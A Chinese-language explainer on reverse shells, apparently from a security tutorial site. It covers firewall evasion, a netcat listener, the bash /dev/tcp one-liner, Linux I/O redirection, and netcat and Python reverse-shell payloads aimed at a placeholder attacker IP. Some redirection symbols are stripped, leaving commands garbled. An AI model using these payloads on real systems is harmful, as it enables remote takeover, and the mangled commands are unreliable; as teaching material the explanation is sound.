反弹shell详解

反弹shell详解
反弹 Shell (Reverse Shell) 详解反弹 Shell (Reverse Shell)是网络安全和渗透测试中非常核心的一个概念。简单来说它是一种由目标主机主动连接攻击者主机的远程控制方式。一、 为什么需要“反弹”要理解为什么需要“反弹”我们先要对比一下传统的“正向连接”。正向连接 (Bind Shell)攻击者主动发起连接去连目标主机的某个端口比如常见的 SSH 登录。痛点现实网络中目标主机通常位于局域网内没有公网 IP隔着 NAT或者配置了严格的防火墙默认拦截所有外部主动发起的入站流量。在这种情况下攻击者根本连不进去。反向连接 (Reverse Shell)攻击者在自己的机器上开放并监听一个端口然后诱使目标主机主动发起连接连回攻击者的机器。优势防火墙通常对出站流量即从内网向外网发起的请求比如员工上网浏览网页管控较松甚至完全放行。反弹 Shell 就是利用了这种“内鬼主动开门”的机制轻松穿透防火墙和 NAT 设备的限制。二、 反弹 Shell 的工作机制实现一个完整的反弹 Shell 通道通常分为两步攻击端控制端开启监听等待猎物上门。安全人员通常使用 Netcat (nc) 等工具监听本地端口。nc-lvp4444目标端被控端触发并执行一段恶意代码Payload。这段代码在后台默默做三件事向外发起 TCP 连接连向攻击者的 IP 和 4444 端口。调用系统自带的命令行解释器如 Linux 的bash或 Windows 的cmd.exe。核心动作将命令行的标准输入 (stdin)、标准输出 (stdout)和标准错误 (stderr)全部重定向绑定到刚才建立的 TCP 网络连接上。这样一来攻击者在自己屏幕上敲下的命令会通过网络传给目标主机执行目标主机执行完毕后的结果也会顺着网线原路传回攻击者的屏幕。三、 经典代码解析 (以 Bash 为例)在 Linux 环境下最经典的一句话反弹 Shell 代码如下bash-i/dev/tcp/攻击者IP/444401bash -i启动一个交互式的 (interactive) Bash Shell。/dev/tcp/IP/PORT这是 Bash 特有的功能向这个特殊路径写入数据Bash 就会在底层发起一个真实的 TCP 网络连接。将 Bash 的标准输出 (1) 和标准错误 (2) 全部打入这个 TCP 连接中这意味着目标主机上命令执行的输出结果都会发送给攻击者。01将标准输入 (0) 重定向到标准输出 (1)而此时标准输出已经指向了网络连接。这就意味着Bash 开始从网络中读取攻击者发来的命令。四、 Linux I/O 机制详解标准输入、标准输出与标准错误我们在上一个反弹 Shell 的话题中提到了01这种神奇的符号那刚好可以借此把 Linux 和 Unix 系统中最核心的输入/输出 (I/O) 机制彻底拆解一下。在 Linux 世界里有一句名言“一切皆文件”。键盘是文件屏幕是文件甚至网络连接也是文件。当你在系统中启动任何一个程序时操作系统会默认帮这个程序打开三个“文件”并给它们分配了固定的编号这个编号叫做文件描述符 (File Descriptor, 简称 FD)。系统为这三个通道分配了固定的编号0、1和2它们各自有明确的分工名称文件描述符 (FD)缩写默认连接的设备作用标准输入0stdin键盘程序读取外界数据的来源标准输出1stdout屏幕 (当前终端)程序正常运行后打印结果的地方标准错误2stderr屏幕 (当前终端)程序发生报错时打印异常信息的地方1. 重定向 (Redirection)改变数据的流向“标准”之所以叫标准是因为它是默认配置。但 Linux 提供了强大的重定向符 (和)允许我们像接水管一样随意拔插这三个通道改变数据的流向。(1) 输出重定向和(修改 1 的流向)当你不想让程序的结果打印在屏幕上而是想存进文件里时ls files.txt把ls命令的标准输出 (1)重定向到files.txt中覆盖原内容。echo hello files.txt把输出追加到文件末尾。(2) 输入重定向(修改 0 的流向)当你不想用键盘敲字而是想让程序直接读取文件的内容时sort names.txt把names.txt里的内容灌进标准输入 (0)让sort命令进行排序。(3) 错误重定向2(修改 2 的流向)有时候程序会产生一堆烦人的报错比如权限不足你不想看它们find / -name secret 2 errors.log正确的查找结果标准输出 1依然打印在屏幕上但所有的报错标准错误 2都被悄悄塞进了errors.log里。2. 符号的魔法在 Bash 的语法中重定向符号有着细微但至关重要的区别只写(等同于1)确实如你所想仅重定向标准输出 (1)。如果你用的是这个符号那报错信息 (2) 依然会打印在目标主机的屏幕上攻击者是看不到的。写成或这是 Bash 特有的一种语法糖简写形式。它的明确含义是将标准输出 (1) 和标准错误 (2) 合并同时重定向到指定的目标。因此当执行 /dev/tcp/攻击者IP/4444时Bash 在底层就已经把“成品出货口 (1)”和“警报排出口 (2)”全部插到这根 TCP 网线上了。五、 其他常见环境的反弹方式几乎所有具备网络编程能力的语言或工具都能被用来构造反弹 Shell以适应目标主机上不同的运行环境1. Netcat (如果目标机带有-e参数)nc-e/bin/bash 攻击者IP44442. Python (常用于目标机预装了 Python 环境时)python-cimport socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击者IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)

最新新闻

日新闻

周新闻

月新闻